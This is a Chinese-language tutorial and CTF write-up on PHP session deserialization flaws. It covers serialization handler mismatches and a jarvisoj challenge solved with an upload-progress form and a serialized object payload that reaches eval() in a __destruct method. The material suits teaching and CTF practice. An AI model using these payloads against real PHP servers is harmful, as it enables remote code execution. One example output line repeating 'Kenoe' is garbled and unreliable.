PHP Session反序列化漏洞

session是什么

session在计算机网络应用中被称作会话控制,在服务器端创建但是保存于服务器,session对象存储特定用户所需的属性以及配置信息,一旦开启了session会话,便可以在网站的任何页面使用或保持这个会话,php session是一种特殊的变量,可以存储关于用户的会话信息,或者更改用户会话的设置。

cookie存储在客户端,而session存储在服务端,当开启一个session时,php会创建一个随机的session id,每个用户的Session id都是唯一的,而且Session id 与服务器上存储该用户Session数据的文本文件名称相同

因此Session ID会分别保存在客户端和服务器端两个位置

  • 客户端,使用临时的Cookie保存在浏览器指定目录中,Cookie名称默认为“PHPSESSION”
  • 服务器端,以文本文件形式保存在指定的Session目录中

当php发现cookie里面没有session,就会调用php_session_create_id函数创建一个新的会话,并且在响应包头中通过set-cookie参数发给客户端保存

当客户端cookie被禁用的情况下,php会自动将session id添加到url参数、form、hidden字段中,但是这需要php.ini中的session.use_trans_sid设为开启,也可以在运行时调用ini_set()函数来设置这个配置项

php session会话开始之后,php就会把会话中的数据设置到$_SESSION变量中,当php停止运行时,它会自动读取$__SESSION中的内容,并将其进行序列化,然后发送给会话保存管理器来进行保存。默认情况下,php使用内置的文件会话保存管理器来完成对session的保存,也可以通过配置项session.save_handler来修改所要采用的会话保存管理器,对于文件会话保存管理器,会将会话数据保存到配置项session.save_path所指定的位置

php session在php.ini里面的一些配置

1
2
3
4
5
session.serialize_handler = php       //定义用来session序列化/反序列化的处理器名字,默认使用php,还有其他引擎,且不同引擎的对应的session的存储方式不相同
session.save_path="D:\phpstudy_pro\Extensions\tmp\tmp" //session的存储路径
session.save_handler = files //该配置主要设定用户自定义存储函数,如果想使用PHP内置session存储机制之外的可以使用这个函数
session.auto_start = 0 //指定会话模块是否在请求开始时启动一个会话,默认值为0不启动

php session不用引擎的存储机制

PHP session的存储机制是由session.serialize_handler来定义引擎的,默认是以文件的方式存储,且存储的文件是由sess_sessionid来决定文件名的,当然这个文件名也不是不变的,一般session.serialize_handler定义的引擎有以下三种

处理器名称 存储格式
php 键名+竖线+经过serialize()函数序列化处理的值
php_binary 键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php_serialize 经过serialize()函数序列化处理的数组

不同处理器的差别可以看下面

1
2
3
4
5
<?php
ini_set('session.serialize_handler','php'); //php_binary php_serialize
session_start();
$_SESSION['user'] ="Kenoe";
?>

分别得到

user|s:5:”Kenoe”;

!KenoeKenoeKenoeKenoeKenoeKenoe___s:5:”Kenoe”; //这里键名修改了

a:1:{s:4:”user”;s:5:”Kenoe”;}

如果题目里面发现不同的php文件用了不同的引擎,那么可以构造payload来写入我们想要的内容,比如下面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//session.php
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session']=$_GET['session'];
?>
//class.php
<?php
ini_set('session.serialize_handler','php');
session_start();
class user{
public $name='kenoe';
function _wakeup()
{
echo "wakeup";
}
function _destruct()
{
echo $this->name;
}
}
$a=new user();
?>
//漏洞的利用点在于先访问session.php,传入|+序列化的字符串,然后再次访问class.php,调用session里面的值

session.php传入一个|O:4:”user”:1:{s:4:”name”;s:4:”Kino”;}

这个时候的session为

a:1:{s:7:”session”;s:38:”|O:4:”user”:1:{s:4:”name”;s:4:”Kino”;}”;}

然后访问class.php,这个时候会输出

1
2
3
wakeup
kenoe
Kino

可以看到由于不同的反序列化引擎,原来session的值会反序列化成user类,然后也会执行对应的wakeup函数和析构函数

session反序列化题目

题目地址:http://web.jarvisoj.com:32784/index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}

function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('sessiontest.php'));
}
?>

看一下phpinfo

同时还有这个也是开着的

Session 上传进度
当 session.upload_progress.enabled INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。 当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是 session.upload_progress.prefix 与 session.upload_progress.name连接在一起的值

所以我们可以构造一个表单来上传文件

1
2
3
4
5
6
7
8
9
10
11
#upload.php
<!DOCTYPE html>
<html>
<body>
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="1" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
1
2
3
4
5
6
7
8
9
10
<?php
class OowoO
{
public $mdzz='echo(dirname(__FILE__));';
}
$obj = new OowoO();
$a = serialize($obj);
echo $a;
?>
//O:5:"OowoO":1:{s:4:"mdzz";s:24:"echo(dirname(__FILE__));";}

然后修改filename为序列化字符串,根据回显去修改我们的值可以得到flag